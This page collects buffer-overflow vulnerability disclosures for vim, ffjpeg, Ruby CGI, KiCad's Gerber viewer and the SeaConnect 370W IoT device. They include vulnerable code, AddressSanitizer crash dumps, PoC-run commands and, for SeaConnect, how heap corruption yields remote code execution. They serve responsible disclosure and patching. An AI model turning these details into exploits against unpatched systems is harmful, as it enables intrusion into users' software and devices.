        #6 0x62267b in ex_execute /home/alkyne/vim-debug/src/eval.c:6494:6
        #7 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
        #8 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
        #9 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
        #10 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
        #11 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
        #12 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
        #13 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
        #14 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
        #15 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
        #16 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
        #17 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
        #18 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
        #19 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
        #20 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
        #21 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
        #22 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
        #23 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
        #24 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
        #25 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
        #26 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
        #27 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
        #28 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
        #29 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/alkyne/vim-debug/src/vim.asan+0x499a41) in __asan_memmove
    Shadow bytes around the buggy address:
      0x0ff3aecd15b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0ff3aecd15c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0ff3aecd15d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0ff3aecd15e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0ff3aecd15f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0ff3aecd1600:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0ff3aecd1610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0ff3aecd1620: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0ff3aecd1630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0ff3aecd1640: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0ff3aecd1650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
    ==15561==ABORTING
    

**Impact**

Heap overflow may lead to exploiting the program, which can allow the attacker to execute arbitrary code.

CVE-2022-0572: Heap-based Buffer Overflow in vim

Two Heap based buffer overflow vulnerabilities exist in ffjpeg through 01.01.2021. It is similar to CVE-2020-23852. Issues that are in the jfif_decode function at ffjpeg/src/jfif.c (line 552) could cause a Denial of Service by using a crafted jpeg file.

**Describe**  
Two Heap-buffer-overflows were discovered in ffjpeg. The issues are being triggered in function jfif\_decode at jfif.c:552:31 and 552:38.

Found by **Cem Onat Karagun of Diesec**

**System info**  
OS version : Ubuntu 21.04  
ffjpeg Version : master 0fa4cf8a86

**Reproduce**

Compile ffjpeg with address sanitizer.

    CCFLAGS = -Wall -g -fsanitize=address 
    

**POC Files:**  
decode\_poc1.zip  
decode\_poc2.zip

Run POCs with the commands below.

    $ ffjpeg -d decode_poc1
    
    $ ffjpeg -d decode_poc2
    

**Asan output-1:**

    =================================================================
    ==3469985==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000010 at pc 0x00000030d50c bp 0x7ffc93e360f0 sp 0x7ffc93e360e8
    READ of size 4 at 0x602000000010 thread T0
        #0 0x30d50b in jfif_decode /src/src/jfif.c:552:31
        #1 0x3035f0 in main /src/src/ffjpeg.c:24:9
        #2 0x7f3772bef564 in __libc_start_main csu/../csu/libc-start.c:332:16
        #3 0x2515fd in _start (/REDACTED/ffjpeg/src/ffjpeg+0x2515fd)
    
    0x602000000011 is located 0 bytes to the right of 1-byte region [0x602000000010,0x602000000011)
    allocated by thread T0 here:
        #0 0x2cc85d in malloc (/REDACTED/ffjpeg/src/ffjpeg+0x2cc85d)
        #1 0x309025 in jfif_decode /src/src/jfif.c:443:21
        #2 0x3035f0 in main /src/src/ffjpeg.c:24:9
        #3 0x7f3772bef564 in __libc_start_main csu/../csu/libc-start.c:332:16
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow /src/src/jfif.c:552:31 in jfif_decode
    Shadow bytes around the buggy address:
      0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0c047fff8000: fa fa[01]fa fa fa 01 fa fa fa 01 fa fa fa fa fa
      0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:  
    

**Asan output-2:**

    =================================================================
    ==3487109==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000010 at pc 0x00000030d52a bp 0x7ffe17b50930 sp 0x7ffe17b50928
    READ of size 4 at 0x602000000010 thread T0
        #0 0x30d529 in jfif_decode /src/src/jfif.c:552:38
        #1 0x3035f0 in main /src/src/ffjpeg.c:24:9
        #2 0x7fec13038564 in __libc_start_main csu/../csu/libc-start.c:332:16
        #3 0x2515fd in _start (/REDACTED/ffjpeg/src/ffjpeg+0x2515fd)
    
    0x602000000011 is located 0 bytes to the right of 1-byte region [0x602000000010,0x602000000011)
    allocated by thread T0 here:
        #0 0x2cc85d in malloc (/REDACTED/ffjpeg/src/ffjpeg+0x2cc85d)
        #1 0x309068 in jfif_decode /src/src/jfif.c:444:21
        #2 0x3035f0 in main /src/src/ffjpeg.c:24:9
        #3 0x7fec13038564 in __libc_start_main csu/../csu/libc-start.c:332:16
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow /src/src/jfif.c:552:38 in jfif_decode
    Shadow bytes around the buggy address:
      0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0c047fff8000: fa fa[01]fa fa fa 01 fa fa fa fa fa fa fa fa fa
      0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==3487109==ABORTING

CVE-2021-44956: Heap-buffer-overflows in jfif_decode() at jfif.c:552:31 and 552:38 · Issue #43 · rockcarry/ffjpeg

Global buffer overflow vulnerability exist in ffjpeg through 01.01.2021. It is similar to CVE-2020-23705. Issue is in the jfif_encode function at ffjpeg/src/jfif.c (line 708) could cause a Denial of Service by using a crafted jpeg file.

**Describe**  
A global-buffer-overflow was discovered in ffjpeg. The issue is being triggered in function jfif\_encode at jfif.c:708.

Found by **Cem Onat Karagun of Diesec**

**System info**  
OS version : Ubuntu 21.04  
ffjpeg Version : master(0fa4cf8a86)

**Reproduce**

Compile ffjpeg with address sanitizer.

    CCFLAGS = -Wall -g -fsanitize=address 
    

PoC file:  
encode\_poc1.zip

Run with the following command.

**Asan output:**

    =================================================================
    ==3406031==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000000231972 at pc 0x0000002cbc07 bp 0x7ffcef6304f0 sp 0x7ffcef62fcb8
    READ of size 272 at 0x000000231972 thread T0
        #0 0x2cbc06 in __asan_memcpy (/REDACTED/ffjpeg/src/ffjpeg+0x2cbc06)
        #1 0x30f33b in jfif_encode /src/src/jfif.c:708:5
        #2 0x3029f2 in main /src/src/ffjpeg.c:30:16
        #3 0x7fdfb0d3b564 in __libc_start_main csu/../csu/libc-start.c:332:16
        #4 0x2515fd in _start (/REDACTED/ffjpeg/src/ffjpeg+0x2515fd)
    
    0x000000231972 is located 46 bytes to the left of global variable 'STD_HUFTAB_LUMIN_DC' defined in 'huffman.c:398:12' (0x2319a0) of size 28
    0x000000231972 is located 0 bytes to the right of global variable 'STD_HUFTAB_LUMIN_AC' defined in 'huffman.c:382:12' (0x2318c0) of size 178
    SUMMARY: AddressSanitizer: global-buffer-overflow (/REDACTED/ffjpeg/src/ffjpeg+0x2cbc06) in __asan_memcpy
    Shadow bytes around the buggy address:
      0x00008003e2d0: f9 f9 f9 f9 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9
      0x00008003e2e0: 00 03 f9 f9 f9 f9 f9 f9 00 00 00 00 00 01 f9 f9
      0x00008003e2f0: f9 f9 f9 f9 00 00 07 f9 f9 f9 f9 f9 00 00 00 00
      0x00008003e300: 00 00 00 00 00 00 00 00 00 00 00 00 04 f9 f9 f9
      0x00008003e310: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x00008003e320: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[02]f9
      0x00008003e330: f9 f9 f9 f9 00 00 00 04 f9 f9 f9 f9 00 00 00 00
      0x00008003e340: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x00008003e350: 00 00 02 f9 f9 f9 f9 f9 00 00 00 04 f9 f9 f9 f9
      0x00008003e360: 00 00 00 00 05 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
      0x00008003e370: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==3406031==ABORTING
    

    memcpy(jfif->phcac[0]->huftab, STD_HUFTAB_LUMIN_AC, MAX_HUFFMAN_CODE_LEN + 256);

CVE-2021-44957: global-buffer-overflow in function jfif_encode at jfif.c:708 · Issue #44 · rockcarry/ffjpeg

CGI.escape_html in Ruby before 2.7.5 and 3.x before 3.0.3 has an integer overflow and resultant buffer overflow via a long string on platforms (such as Windows) where size_t and long have different numbers of bytes. This also affects the CGI gem before 0.3.1 for Ruby.

CVE-2021-41816

A stack-based buffer overflow vulnerability exists in the Gerber Viewer gerber and excellon DCodeNumber parsing functionality of KiCad EDA 6.0.1 and master commit de006fc010. A specially-crafted gerber or excellon file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Summary**

Multiple stack-based buffer overflow vulnerabilities exist in the Gerber Viewer gerber and excellon GCode/Dcode parsing functionality of KiCad EDA 6.0.1 and master commit de006fc010. A specially-crafted gerber or excellon file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Tested Versions**

KiCad EDA 6.0.1  
KiCad EDA master commit de006fc010

**Product URLs**

KiCad EDA - https://www.kicad.org/

**CVSSv3 Score**

7.8 - CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-121 - Stack-based Buffer Overflow

**Details**

KiCad is a cross-platform open-source software for electronics design automation. It allows users to design and simulate electronic hardware and offers several tools like a schematic and symbol editor, PCB and footprint editor, Gerber viewer and others.

KiCad's Gerber Viewer is found in a separate binary called gerbview and allows the viewing of Gerber files, Excellon files, Gerber job files, optionally contained in zip archives.

When opening a Gerber file, the method GERBER_FILE_IMAGE::LoadGerberFile in readgerb.cpp is called:

    // size of a single line of text from a gerber file.
    // warning: some files can have *very long* lines, so the buffer must be large.
    #define GERBER_BUFZ 1000000
    // A large buffer to store one line
    static char lineBuffer[GERBER_BUFZ+1];  // [1]
    
    bool GERBER_FILE_IMAGE::LoadGerberFile( const wxString&amp; aFullFileName )
    {
        int      G_command = 0;        // command number for G commands like G04
        int      D_commande = 0;       // command number for D commands like D02
        char*    text;
    
        ClearMessageList( );
        ResetDefaultValues();
    
        // Read the gerber file */
        m_Current_File = wxFopen( aFullFileName, wxT( &#34;rt&#34; ) );
    
        if( m_Current_File == nullptr )
            return false;
    
        m_FileName = aFullFileName;
    
        LOCALE_IO toggleIo;
    
        wxString msg;
    
        while( true )
        {
            if( fgets( lineBuffer, GERBER_BUFZ, m_Current_File ) == nullptr )  // [2]
                break;
    
            m_LineNum++;
            text = StrPurge( lineBuffer );
    
            while( text &amp;&amp; *text )
            {
                switch( *text )
                {
                case &#39; &#39;:
                case &#39;\r&#39;:
                case &#39;\n&#39;:
                    text++;
                    break;
    
                case &#39;*&#39;:       // End command
                    m_CommandState = END_BLOCK;
                    text++;
                    break;
    
                case &#39;M&#39;:       // End file
                    m_CommandState = CMD_IDLE;
                    while( *text )
                        text++;
                    break;
    
                case &#39;G&#39;:    /* Line type Gxx : command */
                    G_command = GCodeNumber( text );                 // [3]
                    Execute_G_Command( text, G_command );
                    break;
    
                case &#39;D&#39;:       /* Line type Dxx : Tool selection (xx &gt; 0) or
                                 * command if xx = 0..9 */
                    D_commande = DCodeNumber( text );                // [4]
                    Execute_DCODE_Command( text, D_commande );
                    break;
    

This method takes a gerber file path, opens it and parses it line-by-line \[2\], restricting the maximum line length to 1,000,000 bytes \[1\]. When a line starting with "D" or "G" is encountered, the methods DCodeNumber \[4\] or GCodeNumber \[3\] are called. In both cases, the current line is passed as parameter. Both methods lead to the same issue. Let's detail them individually.  
Also note that the DCodeNumber method can be reached via an Excellon file in a similar way (via EXCELLON_IMAGE::LoadFile), as discussed below.

**CVE-2022-23946 - GCodeNumber**

    int GERBER_FILE_IMAGE::GCodeNumber( char*&amp; Text )
    {
        int   ii = 0;
        char* text;
        char  line[1024];          // [5]
    
        if( Text == nullptr )
            return 0;
    
        Text++;
        text = line;
    
        while( IsNumber( *Text ) ) // [6]
        {
            *(text++) = *(Text++);
        }
    
        *text = 0;                 // [7]
        ii    = atoi( line );
        return ii;
    }
    

At \[5\] a line buffer of size 1024 bytes is allocated on the stack. The while loop at \[6\] expects a number inside the line and stores the current character in the text buffer (that is, the line buffer) \[5\] and only stops when Text does not point to a number anymore.  
Because Text \[1\] is much larger than line and the loop does not check if it's operating within the line's buffer bounds, the loop could write out of bounds if a large enough line containing numbers is supplied. This is a straightforward stack-based buffer overflow that could lead to code execution. Moreover, *text is assigned to later in the same method \[7\], so corruption could occur slightly later too.

Allowed characters for IsNumber are the following:

    #define IsNumber( x ) ( ( ( (x) &gt;= &#39;0&#39; ) &amp;&amp; ( (x) &lt;=&#39;9&#39; ) )   \
                           || ( (x) == &#39;-&#39; ) || ( (x) == &#39;+&#39; )  || ( (x) == &#39;.&#39; ) )
    

**CVE-2022-23947 - DCodeNumber**

    int GERBER_FILE_IMAGE::DCodeNumber( char*&amp; Text )
    {
        int   ii = 0;
        char* text;
        char  line[1024];          // [5]
    
        if( Text == nullptr )
            return 0;
    
        Text++;
        text = line;
    
        while( IsNumber( *Text ) ) // [6]
            *(text++) = *(Text++);
    
        *text = 0;                 // [7]
        ii    = atoi( line );
        return ii;
    }
    

At \[5\] a line buffer of size 1024 bytes is allocated on the stack. The while loop at \[6\] expects a number inside the line and stores the current character in the text buffer (that is, the line buffer) \[5\] and only stops when Text does not point to a number anymore.  
Because Text \[1\] is much larger than line and the loop does not check if it's operating within the line's buffer bounds, the loop could write out of bounds if a large enough line containing numbers is supplied. This is a straightforward stack-based buffer overflow that could lead to code execution. Moreover, *text is assigned to later in the same method \[7\], so corruption could occur slightly later too.

Allowed characters for IsNumber are the following:

    #define IsNumber( x ) ( ( ( (x) &gt;= &#39;0&#39; ) &amp;&amp; ( (x) &lt;=&#39;9&#39; ) )   \
                           || ( (x) == &#39;-&#39; ) || ( (x) == &#39;+&#39; )  || ( (x) == &#39;.&#39; ) )
    

Note that this method is also used while parsing an Excellon file, when parsing a TCode. In the EXCELLON_IMAGE class we find:

    int TCodeNumber( char*&amp; aText )
    {
        return DCodeNumber( aText );
    }
    

So in this case, the DCodeNumber issue can be triggered via EXCELLON_IMAGE::Select_Tool, which eventually calls DCodeNumber.

**Crash Information**

    =================================================================
    ==1833==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffffff8700 at pc 0x7fffed7df5de bp 0x7fffffff82b0 sp 0x7fffffff82a0
    WRITE of size 1 at 0x7fffffff8700 thread T0
        #0 0x7fffed7df5dd in GERBER_FILE_IMAGE::DCodeNumber(char*&amp;) src/kicad_1/gerbview/rs274d.cpp:435
        #1 0x7fffed7da342 in GERBER_FILE_IMAGE::LoadGerberFile(wxString const&amp;) src/kicad_1/gerbview/readgerb.cpp:177
        #2 0x7fffed7d8e09 in GERBVIEW_FRAME::Read_GERBER_File(wxString const&amp;) src/kicad_1/gerbview/readgerb.cpp:58
        #3 0x7fffed783cd4 in GERBVIEW_FRAME::LoadListOfGerberAndDrillFiles(wxString const&amp;, wxArrayString const&amp;, std::vector&lt;int, std::allocator&lt;int&gt; &gt; const*) src/kicad_1/gerbview/files.cpp:293
        #4 0x7fffed780004 in GERBVIEW_FRAME::LoadGerberFiles(wxString const&amp;) src/kicad_1/gerbview/files.cpp:199
        #5 0x7fffed7acfb5 in GERBVIEW_FRAME::OpenProjectFiles(std::vector&lt;wxString, std::allocator&lt;wxString&gt; &gt; const&amp;, int) src/kicad_1/gerbview/gerbview_frame.cpp:273
        #6 0x55555561eae6 in PGM_SINGLE_TOP::OnPgmInit() src/kicad_1/common/single_top.cpp:428
        #7 0x555555625b0c in APP_SINGLE_TOP::OnInit() (gerbview+0xd1b0c)
        #8 0x5555556245c1 in wxAppConsoleBase::CallOnInit() (gerbview+0xd05c1)
        #9 0x7ffff6a38799 in wxEntry(int&amp;, wchar_t**) (/lib/x86_64-linux-gnu/libwx_baseu-3.0.so.0+0x113799)
        #10 0x55555561d75a in main src/kicad_1/common/single_top.cpp:269
        #11 0x7ffff509e0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
        #12 0x55555561d2ed in _start (gerbview+0xc92ed)
    
    Address 0x7fffffff8700 is located in stack of thread T0 at offset 1056 in frame
        #0 0x7fffed7df229 in GERBER_FILE_IMAGE::DCodeNumber(char*&amp;) src/kicad_1/gerbview/rs274d.cpp:423
    
      This frame has 1 object(s):
        [32, 1056) &#39;line&#39; (line 426) &lt;== Memory access at offset 1056 overflows this variable
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
          (longjmp and C++ exceptions *are* supported)
    SUMMARY: AddressSanitizer: stack-buffer-overflow src/kicad_1/gerbview/rs274d.cpp:435 in GERBER_FILE_IMAGE::DCodeNumber(char*&amp;)
    Shadow bytes around the buggy address:
      0x10007fff7090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff70a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff70b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff70c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff70d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =&gt;0x10007fff70e0:[f3]f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3
      0x10007fff70f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff7100: f1 f1 f1 f1 00 00 00 f2 00 00 00 f2 00 00 00 f2
      0x10007fff7110: f2 f2 00 00 00 00 00 f2 f2 f2 f2 f2 00 00 00 00
      0x10007fff7120: 00 f2 f2 f2 f2 f2 f8 f8 f8 f8 f8 f8 f2 f2 f2 f2
      0x10007fff7130: 00 00 00 00 00 00 f2 f2 f2 f2 00 00 00 00 00 00
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==1833==ABORTING
    

**Timeline**

2022-02-14 - Vendor Disclosure

2022-02-16 - Public Release

Discovered by Claudio Bozzato of Cisco Talos.

CVE-2022-23947: TALOS-2022-1460 || Cisco Talos Intelligence Group

A heap-based buffer overflow vulnerability exists in the OTA Update u-download functionality of Sealevel Systems, Inc. SeaConnect 370W v1.3.34. A series of specially-crafted MQTT payloads can lead to remote code execution. An attacker must perform a man-in-the-middle attack in order to trigger this vulnerability.

**Summary**

A heap-based buffer overflow vulnerability exists in the OTA Update u-download functionality of Sealevel Systems, Inc. SeaConnect 370W v1.3.34. A series of specially-crafted MQTT payloads can lead to remote code execution. An attacker must perform a man-in-the-middle attack in order to trigger this vulnerability.

**Tested Versions**

Sealevel Systems, Inc. SeaConnect 370W v1.3.34

**Product URLs**

SeaConnect 370W - https://www.sealevel.com/product/370w-a-wifi-to-form-c-relays-digital-inputs-a-d-inputs-and-1-wire-bus-seaconnect-multifunction-io-edge-module-powered-by-seacloud/

**CVSSv3 Score**

9.0 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

**CWE**

CWE-122 - Heap-based Buffer Overflow

**Details**

The SeaConnect 370W is a Wi-Fi connected IIoT device offering programmable cloud access and control of digital and analog I/O and a 1-wire bus.

This device offers remote control via several means including MQTT, Modbus TCP and a manufacturer-specific protocol named “SeaMAX API.”

The device is built on top of the TI CC3200 MCU with built-in Wi-Fi capabilities.

The SeaConnect 370W implements an over-the-air firmware update mechanism which is controlled remotely from the “Sealevel SeaCloud” via an MQTTS connection. When a device comes online, it connects to the SeaCloud MQTTS broker and transmits its current firmware version. When an outdated firmware is detected, a message is published to that device’s command channel detailing the FTP(S) url containing the new image. The parsing of this message is vulnerable to a heap overflow, which can be leveraged to create a write-what-where primitive, allowing a remote attacker to overwrite arbitrary instructions and cause their execution.

The message published to the command channel to initiate a firmware update is a JSON blob which the system expects will be structured as follows:

    {
        "name": "u-download",
        "payload": "{
                                     \"uri\": \"<uri to firmware image>\",
                                     \"dest\": \"<local filename to write>\",
                                     \"crc\": \"<crc>\"
                                 }"
    }
    

Note the payload field of the JSON blob is expected to be a string containing a quote-escaped JSON blob. When an MQTT message is received with a name field containing u-download, the payload field of that message will be passed as an argument to a function named ParseToDownloadMessage, located at raw offset 0xFFFC, which is mapped to RAM for execution at 0x2000FFFC. This function is responsible for parsing the payload and populating a structure that will be used by a separate task to begin downloading and applying the described firmware update. The relevant portion of the decompilation for this function is included below. This portion of the function is responsible for unescaping the quotes contained in the payload string so that it may be parsed as a JSON object.

    int __fastcall ParseToDownloadMessage(OTAUpdateStruct *a1, char *payload)
    {
      int len; // r0
      char *reformattedPayload; // r0 MAPDST
      const char *v6; // r8
      int v8; // r2
      int result; // r0
      int v10; // r5
      char *v11; // r7
      jsonParser jParser; // [sp+0h] [bp-30h] BYREF
    
      len = MIN(strlen(payload), 256);
      reformattedPayload = malloc(len);             [1] Allocate either the length of the payload, or 256, whichever is smaller
      if ( !reformattedPayload )
      {
        Report("ERROR: SeaConnectOtaUpdate %s Allocation of reformattedPayload (%d bytes) failed\r\n", "ParseToDownloadMessage", len);
        return 0;
      }
      unescape(reformattedPayload, payload);        [2] Unescape the quotes into the recently allocated buffer, ignoring the actual length of the payload
      ...
    }
    

As noted above, at [1] a buffer is allocated that is the minimum of 256 or the length of the payload. Then, this newly allocated buffer and the original payload are passed as arguments to unescape. The unescape function is very straightforward - it acts like a call to strcpy that discards \ characters. An annotated decompilation is included below for reference.

    void unescape(char *dest, char *src)
    {
      int src_idx;
      int dest_idx;
      char curr_char;
      
      for ( src_idx = 0; src_idx < strlen(src); src_idx++ )
      {
        curr_char = src[src_idx];         
        if ( curr_char == '\\' )
        {
          continue;
        } else {
          dest[dst_idx] = curr_char;
          dst_idx++;
        }
      }
      dest[dst_idx] = '\0';
    }
    

For the purposes of this vulnerability, viewing unescape as an alias for strcpy makes it clear that the call to unescape at [2] can result in a buffer overflow. Supplying a payload larger than 256 bytes will cause an overflow on the heap. A particularly-formatted overflow can corrupt heap metadata in such a way as to allow an attacker to control the pointer that will be returned by subsequent calls to malloc. In practice, controlling the next allocated pointer is enough to gain remote code execution.

**Crash Information**

    [Hard fault handler]
    R0       = 0x00000000
    R1       = 0x00000000
    R2       = 0x00000000
    R3       = 0x200372dd
    R12      = 0x20032bd4
    LR [R14] = 0x2000cf51  subroutine call return address
    PC [R15] = 0x2000d300  Program Counter
    PSR      = 0x60000000
    BFAR     = 0xe000ed38
    CFSR     = 0x00020000
    HFSR     = 0x40000000
    DFSR     = 0x00000000
    AFSR     = 0x00000000
    

Traversing the FreeRTOS heap freelist after corruption, we observe that one of the BlockLink_ts has been modified to point to our target address.

    xStart => {
      pxNextFreeBlock = 0x2003a418, 
      xBlockSize = 48
    }
    0x2003a418 => {
      pxNextFreeBlock = 0x41414141, 
      xBlockSize = 23392
    }
    0x41414141 => {
      pxNextFreeBlock = 0x0, 
      xBlockSize = 0
    }
    

**Timeline**

2021-10-26 - Vendor disclosure  
2022-02-01 - Public Release  

Discovered by Francesco Benvenuto and Matt Wiseman of Cisco Talos.

Tag

#buffer_overflow